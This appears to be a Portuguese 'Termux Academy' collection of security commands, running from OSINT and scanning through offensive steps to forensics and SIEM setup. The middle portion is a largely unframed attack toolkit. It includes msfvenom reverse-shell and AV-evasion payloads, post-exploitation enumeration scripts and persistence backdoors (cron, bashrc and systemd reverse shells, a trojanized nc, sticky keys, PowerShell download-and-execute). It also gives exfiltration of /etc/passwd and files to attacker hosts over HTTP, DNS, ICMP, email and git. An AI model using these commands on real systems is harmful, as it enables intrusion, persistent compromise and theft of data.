Termux Academy

# Instalar ferramentas OSINT
pkg update && pkg upgrade -y
pkg install python python-pip git nmap
pip install requests beautifulsoup4

# TheHarvester - Email/Subdomain Collection  
git clone https://github.com/laramies/theHarvester
cd theHarvester
pip install -r requirements.txt

# Uso básico
python3 theHarvester.py -d example.com -b google,bing,yahoo

#!/usr/bin/env python3
import shodan
import requests

def shodan_search(query, api_key):
    api = shodan.Shodan(api_key)
    try:
        results = api.search(query)
        print(f'[+] {results["total"]} results found')
        
        for result in results['matches']:
            print(f'IP: {result["ip_str"]}')
            print(f'Port: {result["port"]}')
            print(f'Organization: {result.get("org", "N/A")}')
            print('-' * 40)
            
    except shodan.APIError as e:
        print(f'Error: {e}')

# Exemplo de uso
# shodan_search('apache', 'YOUR_API_KEY')

# Instalar Nessus no Termux (simulação)
# Nessus é comercial, mas existe versão home gratuita

# Download do Nessus Home
wget https://www.tenable.com/downloads/nessus

# OpenVAS como alternativa open source
pkg install openvas

# Configurar OpenVAS
openvas-setup
openvas-start

# Acessar via browser: https://localhost:9392

# Instalar Nuclei
pkg install golang
go install -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest

# Atualizar templates
nuclei -update-templates

# Scan básico
nuclei -u https://target.com

# Scan com severidade específica
nuclei -u https://target.com -severity critical,high

# Scan com templates específicos
nuclei -u https://target.com -t cves/ -t vulnerabilities/

# .github/workflows/security-scan.yml
name: Security Vulnerability Scan

on:
  push:
    branches: [main, develop]
  pull_request:
    branches: [main]

jobs:
  security-scan:
    runs-on: ubuntu-latest
    
    steps:
    - uses: actions/checkout@v2
    
    - name: Run Nuclei Scan
      uses: projectdiscovery/nuclei-action@main
      with:
        target: 'https://staging.example.com'
        templates: 'cves,vulnerabilities'
        
    - name: Run OWASP ZAP Baseline
      uses: zaproxy/action-baseline@v0.4.0
      with:
        target: 'https://staging.example.com'
        
    - name: Upload Results
      uses: actions/upload-artifact@v2
      with:
        name: security-reports
        path: reports/

# Script para métricas de vulnerabilidades
#!/bin/bash

# Configurar variáveis
REPORT_DIR="/tmp/vuln-reports"
DATE=$(date +%Y%m%d)

echo "=== Vulnerability Assessment Report ==="
echo "Date: $(date)"
echo "========================================"

# Contadores por severidade
CRITICAL=$(grep -c "CRITICAL" $REPORT_DIR/*.xml 2>/dev/null || echo 0)
HIGH=$(grep -c "HIGH" $REPORT_DIR/*.xml 2>/dev/null || echo 0)
MEDIUM=$(grep -c "MEDIUM" $REPORT_DIR/*.xml 2>/dev/null || echo 0)
LOW=$(grep -c "LOW" $REPORT_DIR/*.xml 2>/dev/null || echo 0)

echo "Critical: $CRITICAL"
echo "High: $HIGH"  
echo "Medium: $MEDIUM"
echo "Low: $LOW"
echo "Total: $((CRITICAL + HIGH + MEDIUM + LOW))"

# Gerar gráfico ASCII simples
echo ""
echo "Risk Distribution:"
echo "Critical: $(printf '%*s' $CRITICAL | tr ' ' '█')"
echo "High:     $(printf '%*s' $HIGH | tr ' ' '█')"
echo "Medium:   $(printf '%*s' $MEDIUM | tr ' ' '█')"
echo "Low:      $(printf '%*s' $LOW | tr ' ' '█')"

# Instalar OWASP ZAP
pkg install openjdk-17
wget https://github.com/zaproxy/zaproxy/releases/download/v2.12.0/ZAP_2.12.0_Linux.tar.gz
tar -xzf ZAP_2.12.0_Linux.tar.gz

# Scan básico (headless)
./zap.sh -cmd -quickurl https://target.com -quickout report.html

# Scan com spider + active scan
./zap.sh -cmd -quickurl https://target.com -quickprogress -quickout report.xml

# Scan com autenticação
./zap.sh -cmd -configfile session.config -quickurl https://target.com

# API scan
./zap.sh -cmd -openapiurl https://target.com/api/swagger.json

# Instalar Burp Suite Community
pkg install openjdk-17
wget https://portswigger.net/burp/releases/download?product=community

# Configurar proxy (127.0.0.1:8080)
# No navegador: Configurar proxy para localhost:8080

# Configurar certificado SSL
# 1. Acessar http://burp no navegador
# 2. Download CA Certificate
# 3. Instalar certificado no sistema

# Comandos úteis do Burp:
# Ctrl+I - Enviar para Intruder
# Ctrl+R - Enviar para Repeater  
# Ctrl+Shift+B - Enviar para Scanner (Pro only)

# Usando curl para testes de API

# 1. Enumeração de endpoints
curl -X GET https://api.target.com/v1/
curl -X OPTIONS https://api.target.com/v1/users

# 2. Authentication bypass
curl -X GET https://api.target.com/v1/admin/users
curl -X GET https://api.target.com/v1/users/1 -H "X-Original-URL: /admin"

# 3. HTTP Method tampering  
curl -X DELETE https://api.target.com/v1/users/1
curl -X PUT https://api.target.com/v1/users/1 -d '{"role":"admin"}'

# 4. Parameter pollution
curl "https://api.target.com/v1/user?id=1&id=2"

# 5. Mass Assignment
curl -X POST https://api.target.com/v1/users \
  -H "Content-Type: application/json" \
  -d '{"username":"test","role":"admin","is_active":true}'

# GraphQL Introspection
curl -X POST https://api.target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"query IntrospectionQuery {__schema {queryType {name}}}"}'

# Schema discovery
curl -X POST https://api.target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{__schema{types{name,fields{name,type{name}}}}}"}'

# Depth-based attack (DoS)
curl -X POST https://api.target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"query{user{posts{comments{author{posts{comments{author{name}}}}}}}}"}'

# Batch attack  
curl -X POST https://api.target.com/graphql \
  -H "Content-Type: application/json" \
  -d '[{"query":"query{user(id:1){name}}"},{"query":"query{user(id:2){name}}"}]'

# Instalar Metasploit no Termux
pkg install unstable-repo
pkg install metasploit

# Basic Linux reverse shell
msfvenom -p linux/x86/shell_reverse_tcp \
  LHOST=192.168.1.100 LPORT=4444 -f elf > shell.elf

# Linux meterpreter (staged)
msfvenom -p linux/x86/meterpreter/reverse_tcp \
  LHOST=192.168.1.100 LPORT=4444 -f elf > meterpreter.elf

# Linux bind shell
msfvenom -p linux/x86/shell_bind_tcp \
  LPORT=4444 -f elf > bindshell.elf

# Encoded payload (evade AV)
msfvenom -p linux/x86/shell_reverse_tcp \
  LHOST=192.168.1.100 LPORT=4444 \
  -e x86/shikata_ga_nai -i 3 -f elf > encoded.elf

# Windows reverse shell (exe)
msfvenom -p windows/shell_reverse_tcp \
  LHOST=192.168.1.100 LPORT=4444 -f exe > shell.exe

# Windows meterpreter
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=192.168.1.100 LPORT=4444 -f exe > meterpreter.exe

# Windows service payload
msfvenom -p windows/shell_reverse_tcp \
  LHOST=192.168.1.100 LPORT=4444 -f exe-service > service.exe

# DLL payload
msfvenom -p windows/shell_reverse_tcp \
  LHOST=192.168.1.100 LPORT=4444 -f dll > shell.dll

# PowerShell one-liner
msfvenom -p windows/shell_reverse_tcp \
  LHOST=192.168.1.100 LPORT=4444 -f psh-cmd

#!/bin/bash
# Linux Post-Exploitation Enumeration Script

echo "=== SYSTEM INFORMATION ==="
hostname
uname -a
cat /etc/os-release
uptime
id
groups

echo -e "\n=== NETWORK CONFIGURATION ==="
ifconfig -a || ip addr show
netstat -tulpn 2>/dev/null || ss -tulpn
cat /etc/resolv.conf
arp -a 2>/dev/null || ip neigh

echo -e "\n=== USER ENUMERATION ==="
cat /etc/passwd | grep -v nologin
cat /etc/group
w
last -n 10
cat /home/*/.bash_history 2>/dev/null | head -50

echo -e "\n=== PRIVILEGE ESCALATION VECTORS ==="
sudo -l 2>/dev/null
find / -perm -4000 2>/dev/null | head -20
find / -perm -2000 2>/dev/null | head -20
getcap -r / 2>/dev/null | head -10

echo -e "\n=== SERVICES AND PROCESSES ==="
ps aux | head -20
systemctl list-units --type=service --state=running 2>/dev/null || service --status-all 2>/dev/null
crontab -l 2>/dev/null
cat /etc/crontab 2>/dev/null

echo -e "\n=== INTERESTING FILES ==="
find /home -name "*.txt" -o -name "*.pdf" -o -name "*.doc*" 2>/dev/null | head -10
find / -name "*password*" -o -name "*secret*" -o -name "*key*" 2>/dev/null | head -10
ls -la /tmp /var/tmp /dev/shm 2>/dev/null

@echo off
REM Windows Post-Exploitation Enumeration

echo === SYSTEM INFORMATION ===
systeminfo
hostname
whoami
whoami /priv
whoami /groups

echo.
echo === NETWORK CONFIGURATION ===
ipconfig /all
netstat -ano
route print
arp -a

echo.
echo === USER ENUMERATION ===
net user
net localgroup
net localgroup administrators
query user
cmdkey /list

echo.
echo === PRIVILEGE ESCALATION VECTORS ===
icacls "C:\Program Files" | findstr Everyone
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
wmic service get name,displayname,pathname,startmode | findstr /i "auto"

echo.
echo === PROCESSES AND SERVICES ===
tasklist /svc
wmic process get processid,parentprocessid,name,commandline
sc query state= all
schtasks /query /fo LIST /v

echo.
echo === INTERESTING FILES AND REGISTRY ===
dir /s C:\*password* 2>nul | findstr File
dir /s C:\*secret* 2>nul | findstr File
reg query HKLM /f password /t REG_SZ /s 2>nul | findstr /i password
reg query HKCU /f password /t REG_SZ /s 2>nul | findstr /i password

# SSH Key Persistence
mkdir -p ~/.ssh
echo "ssh-rsa AAAAB3NzaC1yc2E... attacker@kali" >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys

# Cron Job Persistence
(crontab -l ; echo "*/10 * * * * /bin/bash -c 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1'") | crontab -

# Bashrc Persistence
echo "nohup bash -c 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1' &" >> ~/.bashrc

# Service Persistence (systemd)
cat > /etc/systemd/system/backdoor.service << EOF
[Unit]
Description=Backdoor Service
After=network.target

[Service]
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1'
Restart=always
User=root

[Install]
WantedBy=multi-user.target
EOF

systemctl enable backdoor.service
systemctl start backdoor.service

# Binary Replacement
cp /bin/nc /tmp/original_nc
echo '#!/bin/bash
/tmp/original_nc "$@"
bash -i >& /dev/tcp/192.168.1.100/4444 0>&1 &
' > /bin/nc

# SUID Backdoor
cp /bin/bash /tmp/rootbash
chmod +s /tmp/rootbash

REM Registry Run Keys
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Backdoor /t REG_SZ /d "C:\Windows\System32\backdoor.exe"

REM Scheduled Task Persistence
schtasks /create /sc minute /mo 10 /tn "Windows Update Check" /tr "powershell -WindowStyle Hidden -Command \"IEX(New-Object Net.WebClient).DownloadString('http://192.168.1.100/shell.ps1')\""

REM Service Persistence
sc create Backdoor binpath= "cmd /c powershell -WindowStyle Hidden -Command \"IEX(New-Object Net.WebClient).DownloadString('http://192.168.1.100/shell.ps1')\""
sc config Backdoor start= auto

REM WMI Event Subscription
wmic /namespace:"\\root\subscription" path __EventFilter create Name="Backdoor", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfRawData_PerfOS_System'"

REM Sticky Keys Backdoor
copy C:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe

REM DLL Hijacking
copy backdoor.dll "C:\Program Files\Application\hijackable.dll"

# HTTP POST exfiltration
curl -X POST -F "data=@/etc/passwd" http://attacker-server/upload

# Base64 encoded HTTP exfiltration
cat sensitive_file | base64 | curl -X POST -d @- http://attacker-server/data

# DNS exfiltration
for line in $(cat /etc/passwd | base64 -w0 | fold -w50); do
    nslookup $line.attacker-domain.com
done

# ICMP exfiltration
cat secret.txt | base64 | while read line; do
    ping -c 1 -p $(echo $line | xxd -p | tr -d '\n') attacker-ip
done

# PowerShell HTTP exfiltration (Windows)
$data = [Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\sensitive.txt"))
Invoke-WebRequest -Uri "http://attacker-server/upload" -Method POST -Body $data

# Email exfiltration
tar czf - /home/user/documents | base64 | mail -s "Backup" attacker@gmail.com

# Steganography with images
steghide embed -cf cover.jpg -ef secret.txt -sf output.jpg

# Hide data in whitespace
# Create file with hidden data in spaces/tabs
echo -e "Normal text\t\t  \tHidden data in whitespace"

# Social media exfiltration
# Post data as image comments on public posts
convert -size 800x600 -background black -fill white -pointsize 12 \
        text:"$(base64 sensitive.txt)" output.png

# Git exfiltration (if git access available)
git init /tmp/exfil
cp sensitive_files /tmp/exfil/
cd /tmp/exfil
git add .
git commit -m "Normal commit"
git remote add origin https://github.com/attacker/innocent-repo
git push origin main

# Cloud storage exfiltration
rclone copy sensitive_data remote:backup/

# Cryptocurrency blockchain exfiltration  
# Encode data in Bitcoin transactions (OP_RETURN)
bitcoin-cli sendmany "" '{}' 0 "" "$(echo "secret data" | base64)"

# Instalar ferramentas forenses no Termux
pkg install ddrescue
pkg install testdisk
pkg install foremost
pkg install binwalk

# DD - Cópia bit-a-bit básica
dd if=/dev/sdb of=evidence.img bs=4096 conv=noerror,sync
# Calcular hash da imagem
md5sum evidence.img > evidence.md5
sha256sum evidence.img > evidence.sha256

# DDRescue - Para discos danificados
ddrescue /dev/sdb evidence.img evidence.log

# DC3DD - Versão forense aprimorada
dc3dd if=/dev/sdb of=evidence.img hash=md5 hash=sha256 log=acquisition.log

# Ewfacquire - Formato Expert Witness (E01)
ewfacquire /dev/sdb
# Especificar case number, evidence number, description

# Verificar integridade da imagem
ewfverify evidence.E01

# Mount de imagem forense (read-only)
mkdir /tmp/evidence
mount -o ro,loop evidence.img /tmp/evidence

# The Sleuth Kit (TSK) - Análise de filesystem
# Listar partições
mmls evidence.img

# Analisar filesystem
fsstat -o 2048 evidence.img

# Listar arquivos (incluindo deletados)
fls -r -o 2048 evidence.img

# Recuperar arquivo específico por inode
icat -o 2048 evidence.img 1234 > recovered_file.txt

# Timeline de atividade do filesystem
fls -r -m / -o 2048 evidence.img > bodyfile.txt
mactime -b bodyfile.txt -d > timeline.csv

# Autopsy - Interface web para TSK
autopsy
# Acesse http://localhost:9999/autopsy

# TestDisk - Recuperação de partições
testdisk evidence.img

# PhotoRec - Recuperação de arquivos
photorec evidence.img

# Foremost - Carving de arquivos
foremost -i evidence.img -o recovered/

#!/usr/bin/env python3
"""
Incident Classification Calculator
Calcula severidade baseada em múltiplos fatores
"""

def calculate_incident_severity(factors):
    """
    Calcula severidade do incidente (1-10)
    """
    score = 0
    
    # Impact on business (0-3)
    business_impact = {
        'none': 0,
        'minimal': 1,
        'significant': 2,
        'critical': 3
    }
    score += business_impact.get(factors.get('business_impact', 'none'), 0)
    
    # Data sensitivity (0-3)
    data_sensitivity = {
        'public': 0,
        'internal': 1,
        'confidential': 2,
        'restricted': 3
    }
    score += data_sensitivity.get(factors.get('data_sensitivity', 'public'), 0)
    
    # System criticality (0-2)
    system_criticality = {
        'non_critical': 0,
        'important': 1,
        'critical': 2
    }
    score += system_criticality.get(factors.get('system_criticality', 'non_critical'), 0)
    
    # Scope of incident (0-2)
    scope = {
        'single_system': 0,
        'multiple_systems': 1,
        'organization_wide': 2
    }
    score += scope.get(factors.get('scope', 'single_system'), 0)
    
    return min(score, 10)

# Exemplo de uso
incident_factors = {
    'business_impact': 'critical',
    'data_sensitivity': 'restricted',
    'system_criticality': 'critical', 
    'scope': 'organization_wide'
}

severity = calculate_incident_severity(incident_factors)
print(f"Incident Severity: {severity}/10")

if severity >= 8:
    print("Priority: P1 (Critical)")
elif severity >= 6:
    print("Priority: P2 (High)")
elif severity >= 4:
    print("Priority: P3 (Medium)")
else:
    print("Priority: P4 (Low)")

# TheHive + Cortex - Open Source SOAR
# Installation via Docker

# docker-compose.yml for TheHive
version: '3'
services:
  thehive:
    image: 'thehiveproject/thehive4:latest'
    ports:
      - '9000:9000'
    environment:
      - JVM_OPTS='-Xms1024M -Xmx1024M'
    volumes:
      - ./thehive/data:/opt/thp/thehive/data
      - ./thehive/index:/opt/thp/thehive/index
    
  cortex:
    image: 'thehiveproject/cortex:latest'  
    ports:
      - '9001:9001'
    volumes:
      - ./cortex/application.conf:/etc/cortex/application.conf

# Phantom (Splunk SOAR)
# Commercial platform with playbook automation

# MISP (Malware Information Sharing Platform)
# Threat intelligence and IOC sharing
docker run -it -p 80:80 -p 443:443 coolacid/misp

# Shuffle - Open Source SOAR
# Workflow automation for security teams
docker run -p 3001:3001 -d frikky/shuffle:latest

# ELK Stack (Elasticsearch, Logstash, Kibana)
# Wazuh - Open Source SIEM

# Wazuh Manager installation
curl -sO https://packages.wazuh.com/4.x/wazuh-install.sh
bash wazuh-install.sh -a

# Splunk Universal Forwarder
wget -O splunkforwarder.tgz 'https://download.splunk.com/...'
tar -xzf splunkforwarder.tgz
cd splunkforwarder/bin
./splunk start --accept-license

# OSSIM/AlienVault (AT&T Cybersecurity)
# Unified Security Management platform

# Graylog - Log Management
docker run --name mongo -d mongo:4.2
docker run --name elasticsearch -d elasticsearch:7.10.2
docker run --name graylog -p 9000:9000 -d graylog/graylog:4.2

# Custom SIEM Rules for IR
# Splunk Search for lateral movement
index=security EventCode=4624 LogonType=3 
| stats count by Account_Name dest 
| where count > 10

# ELK Query for suspicious PowerShell
GET /winlogbeat-*/_search
{
  "query": {
    "bool": {
      "must": [
        {"match": {"event.code": "4104"}},
        {"regexp": {"winlog.event_data.ScriptBlockText": ".*invoke.*expression.*"}}
      ]
    }
  }
}